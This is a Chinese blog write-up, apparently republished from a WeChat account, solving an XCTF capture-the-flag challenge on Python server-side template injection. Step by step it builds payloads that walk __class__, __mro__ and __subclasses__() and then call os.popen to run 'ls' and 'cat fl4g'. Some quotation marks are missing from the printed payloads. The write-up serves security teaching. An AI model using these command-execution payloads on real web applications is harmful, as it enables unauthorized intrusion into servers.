Web安全之python模板注入实战

admin 2022年4月18日04:08:53评论200 views字数 1386阅读4分37秒阅读模式

Web安全之python模板注入实战

hello各位亲爱的读者们,本期小编要给大家带来的漏洞介绍是python的模板注入,实战环境是攻防世界(https://adworld.xctf.org.cn/web高阶题目Web_python_template_injection这套环境,废话不多说,我们启动环境后进入网站:

 

Web安全之python模板注入实战 

进入目标网站我们发现整个网站只有一行提示:

Web安全之python模板注入实战 

从这里我们可以猜测,注入点一定和python模板注入有关,我们先用payload{{ 2+2 }}来测试一下是否存在注入点

Web安全之python模板注入实战

可以看到网站上回显了2+2的结果,说明存在模板注入的漏洞。

那么在这里小编给大家介绍一下常用于模板注入的相关函数:

Web安全之python模板注入实战

下面让小编带着大家一步步来获取flag吧!


1.我们来构造第一个payload:获取字符串的类对象

输入payload:{{  .__class__  }},(注:单引号中间为空格),看到网站回显是字符串的类对象

Web安全之python模板注入实战


2.接下来我们使用__mro__方法来查找对象所继承的基类

输入payload: {{  .__class__.__mro__ }} ,网站回显为:

 

Web安全之python模板注入实战


3.可以看见网站返回了三个基类,这三个基类任选一个都可以我们选择第三个,所以我们第三个payload是:{{  .__class__.__mro__ [2].__subclasses__() }},网站回显为:

 

Web安全之python模板注入实战


4.我们从这些回显中选择第71个引用,用它来构造命令执行的payload

Payload:  {{  .__class__.__mro__ [2].__subclasses__()[71] }},网站回显为:

Web安全之python模板注入实战

5.最后一步,我们构造的payload为:(popen执行ls打印所有文件)

 

 {{‘‘.__class__.__mro__ [2].__subclasses__()[71].__init__.__globals__[ os ].popen( ls ).read()}}

Web安全之python模板注入实战


6.我们看见当前目录下面有一个fl4g的文件,但是没有注明文件类型,我们把ls换成cat fl4g,即:

{{‘‘.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__[os].popen(cat fl4g ).read()}} ,网站回显为:

Web安全之python模板注入实战

至此拿到了我们的flag 

复盘:我们通过一系列的模板注入payload,目标就是取得后台的命令行控制权,所以无论是用字符串还是用列表或者元组,只要是python的数据类型就可以构造我们的payload,所以注入的手法多种多样,payload实体变化也是五花八门,大家可以尝试的构造自己的payload去获得命令行,加深对python模板注入漏洞的理解!
 

部分来源于网络|侵删


Web安全之python模板注入实战



Web安全之python模板注入实战


中电运行是专业专注培养能源企业IT工匠和提供IT整体解决方案的服务商,也是能源互联网安全专家。


为方便大家沟通,中电运行开通“中电运行交流群”,诚挚欢迎能源企业和相关人士,以及对网络安全感兴趣的群体加入本群,真诚交流,互相学习Web安全之python模板注入实战Web安全之python模板注入实战。想加入我们就给我们留言吧Web安全之python模板注入实战

Web安全之python模板注入实战

Web安全之python模板注入实战

小白必读!寰宇卫士手把手教你栈溢出(上)

手把手教你栈溢出(中)

手把手教你栈溢出(下)

《信息安全知识》之法律关键常识汇总

CTF经验分享|带你入门带你飞!


Web安全之python模板注入实战

Web安全之python模板注入实战

原文始发于微信公众号(寰宇卫士):Web安全之python模板注入实战

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年4月18日04:08:53
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Web安全之python模板注入实战https://cn-sec.com/archives/914702.html

发表评论

匿名网友 填写信息